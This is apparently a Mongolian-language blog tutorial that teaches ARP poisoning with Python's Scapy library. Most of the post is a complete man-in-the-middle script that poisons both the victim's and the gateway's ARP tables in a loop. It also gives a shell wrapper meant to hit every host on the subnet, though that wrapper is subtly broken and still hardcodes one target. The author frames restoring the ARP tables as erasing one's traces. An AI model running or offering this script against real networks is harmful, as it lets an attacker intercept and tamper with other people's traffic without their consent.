Өмнөх ARP poisoning дээр бид суурь ойлголт байхгүй байсан ч ойлгохоор буюу аль болох товчхон болон энгийнээр тайлбарлахыг зорьсон билээ. Өөрөөр хэлбэл нэг ийм юм байдаг ерөнхийдөө ингэж ажилладаг гэдэг тухай авч үзсэн бол одоо өөрсдөө туршиж үзэх байдлаар илүү дэлгэрэнгүй ойлголтой болцгооё.
Сүлжээнд холбогдсон бүх төхөөрөмжүүдийн IP хаяг болон MAC хаягийг ARP хүснэгтэд хадгалдаг. Тэр хүснэгтээ яаж дүүргэдэг тухай өмнө ярилцсан. Тэгвэл ARP poisoning халдлага бол энгийнээр тэр хүснэгтэд байгаа мэдээллийг хордуулах буюу хуурамч MAC хаягаар солих зорилготой. Ингээд амжилттай солигдсон тохиолдолд IP хаягт харгалзах MAC хаяг нь өөрчлөгдсөнөөр тухайн IP хаяг руу мэдээлэл дамжих хүсэлт ирэх бүрд сольсон MAC хаяг руу буюу халдагч этгээд рүү мэдээлэл нь очно гэсэн үг. Иймээс бидний гол зорилго бол хохирогчийн ARP хүснэгтийг хордуулах буюу гарцын хаягийг нь өөрийн MAC хаягаар солих хэрэгтэй.
Бидэнд халдах гэж байгаа төхөөрөмжийнхөө MAC хаягийг олох, хуурамч ARP reply буюу энэ бол миний ашиглаж байгаа IP хаяг мөн гэж худал хүсэлтийн хариу илгээх болон эдгээрийг байнга давтаж ажиллуулах код байхад л болно.
![](http://35.237.221.209/wp-content/uploads/2024/04/image-100.png)
Үүний тулд пайтоний Scapy модуль хэрэгтэй болно. Scapy модуль нь сүлжээгээр дамжиж буй пакетуудыг үүсгэх, дамжуулах, боловсруулахад ашиглагддаг маш хүчтэй/алдартай хэрэгсэл юм. Эхлээд энэ санг татаж суулгах хэрэгтэй болж магадгүй.
Виндоуз үйлдлийн систем ашиглаж байгаа бол
pip3 install scapy
Линукс /Debain/ үйлдлийн систем ашиглаж байгаа бол
apt install python3-scapy
Энэ мэдээж зарим тохиолдолд ажиллахгүй байж болно. Магадгүй Windows үйлдлийн систем дээр python болон pip3 татагдаагүй тохиолдолд алдаа зааж болно. Ийм тохиолдолд эхлээд python болон pip3 татах аргыг хайж үзээрэй. Ерөнхийдөө бол зүгээр л scapy модулийг татаж авах хэрэгтэй.
Эхлээд scapy сангаа бичих гэж байгаа скрипт дотроо оруулж ирэх хэрэгтэй.
import scapy.all as scapy
import time
Одоо IP хаягт харгалзах MAC хаягийг доорх аргаар олно. Энгийнээр бол доорх функц дуудагдах үедээ өөрөө scapy сангийн ARP() функцийг ашиглаад ARP хүсэлт үүсгэн сүлжээнд байгаа бүх төхөөрөмж рүү илгээдэг. Ирсэн хариу дундаас нь өөрт хэрэгтэйгээ буюу “Энэ миний IP хаяг байна” гэсэн төхөөрөмжийн MAC хаягийг хадгалдаг талбар болох hwsrc – ийн утгыг буцаана гэж ойлгож болно.
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
return answered_list[0][1].hwsrc
- get_mac нэртэй ip гэх аргументтэй шинэ функц зарлах
- Өгөгдсөн ip дагуу ARP хүсэлт үүсгэх
- broadcast буюу сүлжээнд байгаа бүх төхөөрөмж рүү илгээх
- Үүсгэсэн ARP хүсэлтээ broadcast – аар дамжуулах буюу өмнө үүсгэсэн 2 – оо нэгтгэх
- srp() функцийн тусламжтай ирсэн хариунуудын хэрэгтэйг нь ялгах
- Үр дүнгээ буюу MAC хаягийг хадгалдаг талбар болох hwsrc – ийн утгыг буцаах
Доорх функцийн тусламжтай бид хуурамч ARP хариуг үүсгэж байгаа. Өөрөөр хэлбэл хохирогчийн ARP хүснэгтийг хордуулж буй код
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip), psrc = spoof_ip)
scapy.send(packet, verbose = False)
- spoof нэртэй target_ip, spoof_ip гэх аргументтэй шинэ функц зарлах
- op = 2 гэдэг нь хариу гэдгийн илтгэж байгаа /op = 1 request/, spoof буюу гарцийн хаягт харгалзах MAC хаягийг өөрчилсөн хүснэгтийг packet – д хадгалах
- үүсгэсэн packet буюу хуурамч хариугаа илгээх
Одоо үүсгэсэн функцүүдээ ашиглан хохирогч болон гарцын төхөөрөмж 2 – ийн дунд буюу хохирогч талаас гарцын IP – д харгалзах MAC хаяг нь халдагчийн буюу миний MAC хаягаар, харин гарцын төхөөрөмж талаас хохирогчийн IP – д харгалзах MAC хаяг нь халдагчийн буюу миний MAC хаягаар солино. Ингээд би тэдний дундуур орж бүх дамжуулж буй өгөгдөл нь миний төхөөрөмжөөр дамжина.
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
time.sleep(2
Мэдээж халдага амжилттай болоход нэн чухал нэгж бол ул мөрөө устгах. Доорх функц өөрчилсөн зүйлсээ буцаан хивэнд нь оруулах код.
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)
scapy.send(packet, verbose = False)
Ингээд бүх бичсэн зүйлсээ нэгтгээд .py өргөтгөлтэй файлд хадгалаад ажиллуулна. target_ip болон gateway_ip өөрт тохирсон байдлаар солих хэрэгтэй.
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip), psrc = spoof_ip)
scapy.send(packet, verbose = False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)
scapy.send(packet, verbose = False)
target_ip = "172.20.10.4" # Хохирогчийн IP хаяг /Windows: ipconfig, Linux: ifconfig гэж харна/
gateway_ip = "172.20.10.1" # Гарцын IP хаяг ихэвчлэн тухайн сүлжээний эхний IP хаяг байдаг
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
time.sleep(2)
except KeyboardInterrupt:
print("\nCtrl + C pressed.............Exiting")
restore(gateway_ip, target_ip)
restore(target_ip, gateway_ip)
print("[+] Arp Spoof Stopped")
Хүсвэл илүү дэлгэрэнгүй уншиж болно.
Хэрвээ линукс үйлдлийн систем ашиглаж байгаа бол доорх шелл скриптийг санал болгож байна. пайтон скриптийг ашиглаад сүлжээнд байгаа бүх төхөөрөмжийн хувьд гарцын төхөөрөмж болгох скрипт гэж ойлгож болно.
#!/bin/sh
ip=$(fping -aqg 172.20.10.3/24)
tmp1="172.20.10.1"
tmp2="172.20.10.3"
for i in $ip; do
if [ "$ip" != "$tmp1" ] && [ "$ip" != "$tmp2" ]; then
python3 - <<EOF
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_mac(target_ip), psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, verbose=False)
target_ip = "172.20.10.4"
gateway_ip = "172.20.10.1"
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count += 2
print("\r[*] Packets Sent " + str(sent_packets_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\nCtrl + C pressed.............Exiting")
restore(gateway_ip, target_ip)
restore(target_ip, gateway_ip)
print("[+] Arp Spoof Stopped")
EOF
fi
done
Дээрх кодыг .sh өргөтгөлтэй хадгална. Доорх коммандыг терминал дээрээ бичээд ажиллуулна.
chmod +x file_ner.sh
./file_ner.sh